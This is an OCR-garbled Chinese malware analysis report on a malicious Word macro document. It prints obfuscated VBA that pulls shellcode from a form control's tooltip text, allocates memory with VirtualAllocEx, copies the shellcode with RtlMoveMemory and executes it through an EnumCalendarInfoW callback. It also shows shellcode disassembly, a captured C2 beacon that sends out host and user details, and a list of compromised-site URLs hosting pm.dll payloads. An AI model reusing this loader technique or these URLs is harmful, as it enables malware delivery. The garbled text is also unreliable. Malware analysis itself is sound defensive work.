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HARBLE =

FEA4%: sample. doc

MD5: 0d1dbb318ca? ?

? 7 8a96e3e9abb307f3616¢cd

2.1 0x01l. ERBSH

1 0% A AR R :

x| [ Teamn

v| |ssuciness

= E |3 =

+- B2 Wormal
Project (Sample)
=5 Microzoft Yord FH
ThizDocunent
=55 B
natal
00 #EER
+-[13IA

x|
ThisDocomen Document d
BFEE | fmatr |

LockTheme ~
HoLinebrealthi
HoLinelrealfe
OMathBrealBin
OMathBr e alSuk
OMathF ontFame
OMathIntSubS:
OMathTe
OMathLeftMare
OMat kW arySups
OMathRightMar
OMathSmallFre
OMathirap
OptimizeFortc

PrintFormsDat
FrintFostiScri
FeadinzLayout
Readinglayout
EReadingModels

EemovePersons

ERHEELRN DA

Sub sameiness ()

Dim likelihood k= Integer

Dim sisterhood As Variant

Set jardiniere = natal libet. BoundValue (“Tab2")
grunting = jardiniere. ControlTipText
castrate = T3B

relativity = Right (grunting, ecastratel
appropriative = presbyope. sative (relativity)
blameless = 6

While blameless < 9

blameless = blameless + 1

patella = Round(385.25)
patella = Fix (105 13)
Wend

dans = “argasidae”

#LE VBAE And Winf4 Then

Dim slepseller hs Variant

Dim anabolic As euztoma

Dim marital A= LongPtr

anabolic. elzeifstatement = 0

Dim zloty Az Byte

#Elze

Dim sustereness As Integer
anabolic = 0

Dim secretion As Variant

Dim marital As Long

#End If

competition = 71 - 82 — 8
bacteriochlorophyll = "erkephalin®
capella = "driftest”

seared = 4096

For corruption = 42 Ta 7O
despumate = TO

blatantly = “blowy”

confluense = [0ased ("n0") & LCasel("tabI®) & LCased (“LiTI")
confluence = Wasef ("men™) & Llased ("iZcIul™)
Next corruption

appalachians = “filler”

antitrades = Nid("noctivagationcomicrogamete”, 14, 2) & Mid("awakeachbillboard”,
onal”

foss = Left (“diflesh”, 2) &
For fox = 2T To TH
downgrade = T

blatantly = bismarekian

cornizhman = Rightd ("eluzionhe”, 21 & nght$( amusingrbs”, 31
cornishman = Left ("cuintimacy”, 2) &
Hext fox

quire = appropriative
halchidhoma = UCasef (“pSe”) & Right§ (“blanchedudoeph”, B & "edrine”
carbonate = “classroom”

2.1 FHRZZARNY

8, 31

“natal ” W EH LK TabStrip T4 F K

ControlTipText FREVEHE . HMAMIEIG 7368 NFFF. 5 (20161031_/L»,
CRT IO YR R E N E) 2 A EEE B FEIRT A2, ASM ToggleButton

AR ERAS IO HE -

U» AAVJTLL WuiuvwvivLavasues
- 55 Microsoft Word R
@ ThisDocument

é{ presbyope

wuL aauLiaEas L

Dim likelihood As Integer

Dim sisterhood As Variant
Set jardiniere = nata =Proaredlls !
grunting = jardinierd ControlTipTex * MTabledZ 4 PIRERENIE

castrate = T368

relativity = Right (@runting, castrate) * MBS FRFEE

appropriative = presbyope. satire (relativity)
blameless = 6
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- B3 Project (Dd1dbb318c

—-E5 Microsaft Word HE
@ ThisDocument

-5 B
natal
+- [ 18R
+-[]5IA
£ >
x|
|nata1 UzerForm ﬂ

Kl 2.3 HIUIRES, TabStrip #2514k 5

4, BT hAH, RATE DR E AT E TabStrip #44F. 7£ TabStrip #H4FM
ControlTipText J&M: (ControlTipText J& 1Al LAtE & 4 W ir 2= EE M L,
BN HRETHE MG BT ] LB BIRAF RS

=R ™ REEERECE 5 0 E R NEFY R @ -

| X

. . .
Tab1 Tah%

Thish. 4
HUFUHUPdG=5Pr < < < <NDODT@GLM
natal

(] 18

+ [C135I1A
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~N

BT S fETabiksl ET LB
ControlTipTextiTiE R (% &

x|
1ibet TabStrip =
BPREF |fas |

¥ 2.4 TabStrip 14 [1) ControlTipText J& ¥ &7x 1) 3 ¥

5. 1% ControlTipText FEIEG, ZXIXBEEIEATHE . mE2 G, A
B AR — BT $AT I shellcode /1%, Shellcode 52 Hifftk, J& T [H



ahab = 2
For dernel =q

iness = ascendable (dull (jealous))
protrusion (dull (uterus (darnel + 1)) + needlessly (dull (neniscus)) + dull (u
minster = dissoluteness(balkiness, stupefying)

brandnew (shaggy) = care(ninster, tail)

minster = dissoluteness (balkiness, compound)

Grandnew (shaggy + 1) = care(ninster, aetiology)

adnew (shazgy + shab) = dissoluteness (balkiness, jansenism)

us (darnel + coadjuvant))

$TEEAShellcode B &L L

Hext
satire = brandnew

satire

s oto Step bioclimatic
tislly = abwatt (ketose)

ZHIEEAshellcodefifz:

sbratt Gretose + 2))) + fissipedia(abwatt (ketose + serrulate))
7

evine = overbearance (fissipediaf(circumstantially))

anthropomancy (£issipedia(abvatt (ketose + 1))) + managerial (fissipeds
axillofacial = cherrycolored (aberdevine, teg)

rogbit (bibliophilic) = newspaper (nexillofacsal, prelibation)
illofacial = cherrycolored(aberdevine, derivational)

it (bibliophilic + 1) = newspaper (naxillofacial, splash)
ibliophilic + deaf) = cherrycolored(aberdevine, stylite
= bibliophilic + deaf + 1

&
bibliophy
Next ketose
_truism = froghit

ZHIEA R Ishellcode

&6- [ frogbit lB"‘:’(O to 5525)
truism @f’” 7273572729727 8 (2772922729729277 mi
.

2.5 #rIH shellcode %t

13 Rt 1MoveMemory Al VirtualAllocEx 5 pR&dthhil:, I3 B4 AF 3 AH . 11 AR
& (bilaterally. madid) H.

Publlc Declare Function gruidae Lib "kernel32” Alias "EnwnCalendarInfof” (By¥al shortage hs Any, ByVal palermo As Any, ByVal mailboat As hny, ByVal twrbinate As Any) hs Lon
#E can’ t take another complication

Publlc Declare Functien madid Lik "kernel32” ilias "VirtnalillocEx" (dubbin ks Long, feeze s Long, ByVal henmover As Lomgz, ByVal obwiation As Long, By¥al cattalo As Long)
28 can’t take another- camlecatlon

Publlc Declare Sub bilaterally Lib "ntdll. 411" Alias "EtlMoveMemory” (eunctando As Any, oldhet As Any, By¥al partaking hs Long)

R an’ t take angther—eemplication

Fublie Declare Function anerecum Lib "user32” Alias "OvenClivboard” (verk hs Lone) As Boolean

2.6 PREUHHE AR AR

1F buddhism 2% & PRI KK shellcode, A VirtuallocEx 43rBt—
Bl n] 5 AT RN R E], SR )5 Rt1MoveMemory ¥ shellcode # I
B Hr o Be RN A+

LamoALLEs aLsuus na o sag
DIim additum A= Long

bilaterally additum, By¥al VerPtr (buddhism) + 5, 4 * $Fbuddhi smAOHhEEE T B addi tun
Dim pericallis Az Integer

Dim obtrusively hs Variant

Dim tit &= Long

merida = 0

leiopelmatidas = -1

babelilke = O

minutely = Int (443 142)

patella = Abs(5T.291))
semipellucid = 14 + 4082

pomelo = madid(ByV¥al leiopelmatidae, By¥al babelile, T386, semipellucid, B4) B Vir tual 11 ocEx i BOT 305 T F IHIEEE
bismarckian = “envelope”

bilaterally tit, By¥al WarPtr (pomelo) + 5, 4 * gpomeloiibdE M B it
patella = patella + 277
bilaterally ByVal tit, ByVal additum, 5538 * 45 addi tumbtihb o EETIEFE M H] i bk o

tvmpani = &7

2.7 i RtIMoveMemory # Il shellcode

52 AR &, &5 HEHMEE APT REHE TStk k2
EnumCalendarInfoW & %% . W LL B #| EnumCalendarInfoW B& % A1
EnumDatesFormatW BEA & RN SE . 5 —DNSHER T LAE N —A B 5



Public Declare Function deglutition Lib “user32” Aliss "EndPaint” (fork ks Lonz, dracuneulus As Longz) As Long

“E5# can't take another semplication

Public Declare Functién gruidae Lib "kernel3®” Alias "EnumCalendarInfof” (ByVal shortage As Any, ByVal palermo Az Any, ByVal mailboat As Any, ByVal turbinate Az Any) As Lom
484 can’ t take anothercomptivalion

K 2.8 %:1HH EnumCalendarlnfoW &% (1 7 B

(a]
t
+

BOOL EnumCaLﬂ_ngar*_IrFo_( -
_InC CALINFC_ENUMPROC pCallnfoEnumProc,

_In_LCID  tocals,
_In_ CALID Calendar,
_In_ CALTYPE CalType

2.9 EnumCalendarinfo i%iE X

AL CLymE An LUl
chyme = marital t+ refuse
Dim ascomycetes As Long
ascomycetes = 124 - 5 - 118
| dispersed = gruidae (chyme, minefield, ascomycetes, ascomycetes) AR EnanC 2l endar Tnf o £
whining = 12

soael

2.10 i EnumCalendarinfow e&%(, F¥f shellcode 41 [a] i p& £ & N

9, i AR BRI, FEF BE EnumCalendarInfoW pRZELH3E N T A M 1Y

shellcode fUHY,
lGfedx) o0 %) 30 ) =) L)E]m)|wn)e) o)l BR]a)s) iEE)?) SUDeIOmE_ ||| |

(I3 nou edi,edi 4 Registers (FPU)
55 ebp ERX kernel32.EnunCalendar [nfol!
8BEC nou ebp,esp ¢
6a 08 1 ntdl1.7C97B178
6h 01
FF75 14 dword ptr ss:[ebp+8x14]
FF75 18 dword ptr ss:[ebp+8x10]
FF75 8C dword ptr ss:[ebp+8xC]
FF75 08 dword ptr ss:[ebp+8x8]
E8 BSEAFBFF  |gall kernel32.7C83824C
ebp UBEG .65 08F 787 kernel3d2.EnunCalendarInfo¥
1000 jretn] 0023 32bit B(FFFFFFFF)
8818 32bit B(FFFFFFFF)
8623 32bit B(FFFFFFFF)
0023 32bit B(FFFFFFFF)
8038 32bit 7FFDDOBB(FFF)
8988 NULL

| Paused

nov edi,edi
Ehp LastErr ERROR_SUCCESS (00000888)
nov el »B5]
P.esp EFL 80080246 (NO,NB,E,BE,NS,PE,GE,LE)
ST8 enpty
ST1 enpty
ST2 empty

Disassenbly [TRFIZLId 6506F 787 [ RETURN to UBE6.6506F 787
8012E7E0| 05340E5D
0012E7EL| 08660800

push ebp

nov ebp,esp
81EC CCO76000 |sub esp,8x7CC OO12E7EE| 00880001
64:A1 308B8008|nou eax,duord ptr fs:[8x38] OO12E7EC| 00880001
8B40 8C nou eax,dword ptr ds:[eax+8xC] 0012E7F0

2.11 EnumcCalendarinfoW &% 11 ACHD



LUy 1 OGRS YVRILORE i DU Lnean s -

e R

|
"F'aused i|44|><| "|"| Wi

] E 4 A = L[E

M|T|w[H|c[/[E[B|R

s

cmp dword ptr ss:[ebp+8x18],esi
short kernel32.7C84BC53
cmp dword ptr ss:[ebp+8x1C],ebx
short kernel32.7C848CHT
moVZX eax,ax

eax
lea eax,

eax
call dword ptr ss:[ebp-8xA8]
short kernel32.7C848C75
lea eax,

eax
call dword ptr ss:[ebp-8xA8]
short kernel32.7C848C75

dword ptr ss:[ebp+821C]
moVZX eax,ax

FF95 S8FFFFFF
EB 2E

FF95 S8FFFFFF
EB 22

7C8LBC5D 8D47 By
Stack ss:[@812E718]=0853408E5D

Address |Hex dump
B534BE5D| 55

Disassembly

push ebp

8BEC mov ebp,esp

81EC CCO70000 |sub esp,Bx7CC

64:A1 30000060\ mov eax,dword ptr Fs:[B=308]
8B40 AC mov eax,dword ptr ds:[eax+8xC]

L - | -

call shellcode

Comment + BO12EGCC QIskAETH:H

80812EGEQ
i

2.12 EnumCalendarinfow p&%1EH shellcode

2.2 0x02. Shellcode 3

Shellcode 52 BiFEASIEA —3L,

ecx
ecx

dword ptr ss:[ebp-8xC],eax
esi,dword ptr ss:[ebp-08x4]

esi
call dword ptr ss:[ebp-8x8]
cmp eax,ebx
short 8534112C
or esi,BxFFF
I short 6534114F

81CE FFOF0060

EB 23

813E 42554CA4C |cmp

75 1B Iikd short B534114F

817E B84 534849 cmp

, 75 12 Ik short 6534114F

57 edi

8D85 34F8FFFF (lea eax,dword ptr ss:[ebp-8x7CC]
eax
(31

call dword ptr ss:[ebp-8xC]
test eax,eax

short 85341155

inc esi

mov dword ptr ss:[ebp-8x4],esi
I short 85341117

85341153

FORTEHZR A% PE B8 F I BESCH BT AS

psapi.GetHappedFileNameA

kernel32.IsBadReadPtr

psapi.GetHappedFileNamef

psapi.GetMappedFileNamef
psapi.GetHappedFileNameA




8A521113[ 59 ecx
8A521114 8945 F4 mov dword ptr ss:[ebp-8xC],eax
8A521117| 8B75 FC mov esi,dword ptr ss:[ebp-B8x4]
8A52111A
8A52111C esi
8A52111D €all dword ptr ss:[ebp-8x8] kernel32.IsBadReadPtr
cmp eax,ebx
short BA52112C
81CE FFOFO808 |or esi,
8A52112a(, EB 23 short BAS2114F
8A52112C( 813E 53544152 cmp
BA521132 75 1B HiE# short B8A52114F
8A521134| 817E 04 46414C]{cnp
8A52113B(, 75 12 short BA52114F
8A52113D( 57 edi
BA52113E 8D85 34F8FFFF |lea eax,dword ptr ss:[ebp-8x7CC]
8A521144( 58 as
8A521145( 56
8A521146( 6A FF
B8A521148 FF55 F4 call dword ptr ss:[ebp-8xC] psapi.GetHappedFileNamen
8A52114B( 85CH test eax,eax
8A52114D|, 75 86 short 8A521155
BA52114F 46 inc esi

K 2.13 Shellcode X}t %4

2.3 0x03. PE dump 9#f

v BATEIENZR] explorer. exe H Y PE XA dump HRA0 T, KILHAZ—A
Hancitor KRMIARL T
2. [EfAERMRZ, RS RS TEEEIER CRC Mk 5 B AT 5 P& E B —E
PANEZ AT o Wik IHFEAR P BN S AT AR, R 5548 A FF R B .tk
VLIRSS 2 210 S YL L 28 GUID, JEY— k)G, BN B KL,

A Follow TCP Stream (tcp.stream eq 2) -

Stream Content

POST /1s5/gate.php HTTP/1.1
Accept: */®
content-Type: ap?11catiDn/x—th—Furm—ur]encoded

User-Agent a/5.0 (windows NT 6.1; win64; x64; Trident/7.0; rv:11.0) Tike Gecko
Host: %
Ccontent-Length:

Cache-Control: no-cache

GUID=9574177336452158344&B0 =0711&INFO=ABC & ABC
\Adm'in'is‘tr‘a‘tor‘&IP:ﬂ?«T‘(PE 1&WIN=5.1(x32)HTTP/1.1 200 OK
Server: nginx/1.6.2

Date: Tue, 08 Nov 2016 08:36:11 GMT

Content-Type: text,/htm]

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.45

C

YVEBARRABwW=—

0

Entire conversation (554 bytes) v
Eind Save As Print | () ASCIH () EBCDIC () Hex Dump () C Arrays ® Raw
Help Filter Out This Stream Close

R R e, FATE BT — LA BT AR AR B R  TR F



Address |Hex dump ASCII

g5120620|6C 3A 68 78 3R 2F|2F F7 V¥ 7V |2E 1:http://wuw. lup
B5120630|61 70 72 2E 63 6F (6D 2F 77 78|2D aprod.comfwp-con
B5120640| 74 65 o6F 74 68 656D 65 73 2F |69 tent/themes/invi
B5120650| 63 74 75 33 2E 33|2E 33 2F 78|6D ctus_3.3.3/pm.dl
B51206860| 6C 7C 68 78 3A 2F|2F 69 6E 74|65 1|http:/finterne
B5120670| 74 62 75 2E 63 6F (6D 2E 62 72|2F tbudi.com.brfuwp-
B5120680| 63 6F oF 6E 74 2F |78 6C 75 67|69 content/plugins/
B5120690| 67 6F oF 65 61 6E|(61 6C 79 74|69 googleanalytics/s
g51206A0| 78 6D ZE 6C 7C 68|74 74 70 3A|2F pm.dll|http:/str
B51206B0| 69 6F 7A 74 2E GE|6C 2F FF 782D iozift.nl/uwp-adm
g512068C0| 69 6E 2F 2E 64 GC|6C 7C 68 74|74 in/pm.dll|http:s
B51286008| 2F 74 69 73 65 73|73 69 6F 6E|73 /timesessions.co
B512868EQ| 6D 2E 6B 60 6F 73|2E 63 68 2D|6D m.kosmos .ch-meta

B512868F0( 2E G6E 65 F7 78 2069 6E 63 GC| 75 -net/wp-includes
B5128180(2F 70 6D 6C 6C 7C(68 74 74 708|3A Fpm.dll|http:z/fiuw
BL128110( 77 77 2E 6E 64 61|64 76 2E 63| 6F vy .mindadv.com/u
B5128120( 70 2D 63 74 65 6E(74 2F 78 6C| 75 p-content/plugin
B5128130( 73 2F 6E 6 61 2D|(6b6 &6F 72 6D|73 s/ninja-forms/pm
B5128140( 2E 64 6C 68 74 74(78 3R 2F 2F |67 .d11|http://gail
B51281508( 72 &6F 62 73 6F 6E(63 6F oFE 73|75 robinsonconsulti

B51281608(6E 67 2E 4 2F F7(78 2D 63 6F | 6E ng.net/fwp-conten
BL1281708( 74 2F ¥4 6D 65 73(2F 61 76 616D t/themes/avamys/
B5128180( 70 46D 2E 6C 60 B0( 00 B0 68 80| A8
85128190 B0 80 0O g8 60 90|00 00 0O 09| G0
851281A0| B0 B0 DO g8 60 90|00 00 0O 09| G0

5 LR LY LYRY  RTRT LR IRt LT RTRY E RRY R LI LR LY

2.14 C&C R [alfzhliE4



= HXHRE

BERER APT 8/~ G ] LIB B A A

XA EEESR

uantity As LongPtr, couple As LongPtr, ByVal port As LongPtr, ByVal concertina A

s LongPtr, ByVal hamamelidae As LongPtr) As LongPtr’

’Public Declare PtrSafe Function cumulonimbus Lib "kernel32” Alias “Sleep” (alls

e A PR Y

"Public Declare Function gruidae Lib “kernel32” Afias “EnunCalendarInfoW” (Byjal
shortage As Any, ByVal palermo As Any, ByVal mailbdw

s Any) As Long’

"Public Declare Function madid Lib “kernel32” Alias "VirtualAllocEx" (dubbin As

Long, feeze As Long, ByVal hannover As Long, ByVal obviation As Long, ByVal catt
alo As Long) As Long’

"Public Declare Function menticirrhus Lib “kernel32” Alias “Sleep” (coaming As L

ong)’

Kl 3.1 SEEFEACTR F R B A

o AR [5]

"
ATTEAR AESEHREELREREEN g arrrk
HES HRER
C:\Program Files\Microsoft Offi
ProcessName: \Device\HarddiskVolume 1\WINDOWS\explorer.exe
ce\Office14\WINWORD.EXE
>
ooy
3
explorer.exef\ 3
> LEAZSEEASARE  ansm ek ;I)\ p H’J{Tjj
> EHAYEREEE arme v
> MARMEFREAT
* BEEE 5 v

> 1NEIFTREONSIER

v RNEERHTTPER

BJEBURL: http://api. ipify. org/

EiRSEHTTPER

K 3.2 SBEAAATENHEEAE



M. AHLFERERAZR APT £~ m

APT B Z BT IRR Z N B R F Bl , R DABGA G2 2468, FEAANZFE,
BEIREAIZ ] 2, IXAEAE SE I 28 2 4 BE & Q0BT JChd « NARASIN L N AR B A S BT 25190 5
AT 9 BRAE N S 2 A e g E AE 2R, DRLE, T A SRR UL ARSI 5 AR T BT DASE AR
AN AT S8 SCHIH AR 2 [, AR RSB B ARRD R iR B Nt R AR SR T 3 N M BGH TR
TCALIETE -

JA B SR APT 7= 2 M T2 H R S A A SRR SR I B AR R ARl b, 456
PP T ARG B A I AA IVE RS SR, A B — Rk BT RAG I ™ dh o X T8 W RR G T &
H-worm % AR 73 S5 XA (1 APT Xealy, B JE /i I RRFAE R « JE i 2€ il T A& B ]
AETRLIN R Ty, 2 F P R APT Z A . Fl P T DOdid | B AR APT Al =
at, AT R RS, PR BIR AR (O-day) , HERAE LR AL

4.1 BIRER APT = R MRk BBk

BEXT R A SR B 1 SO RS R B E R W2 R APT Al dh, AT DA 2 R R A
S A AT A RIS AN B VG o 7 it o] AELRRE 5 A W% h BE A B SR AE RE AU A
ERANIEAT, G AR R S PR, AT RO APT Xk (Rl ek

JABIER TR APT K= ft, ARk B xS AR 5 2R R0 gl LA G B2 Ao P RCR 1
Mgz 4 i, PTSEBUALET . RAE RS A . REXBGEARN . ARG RopER0 . B
PbIE TEAG N 45 2 R AR AR (O-day) AIFIATRRIASIN, R 91 RIS A 0K
FBRH B N O RO EAS I 7 GRS Zh AN, 2 MO ER FB. —t
H A HEBUGI . ROP RIS . HuUsk AP AR, HEARIEI. Shell code f 2. Wit
A, AL APT B iR D8R, A, 7 & N DIRSS, A RO ZE APT
Bdio WTHA:



=
Machine Learning LJ e v
Il
H € SURFE Pre-shellcode  shell code {;,;114&.

A aha
a Rl

a
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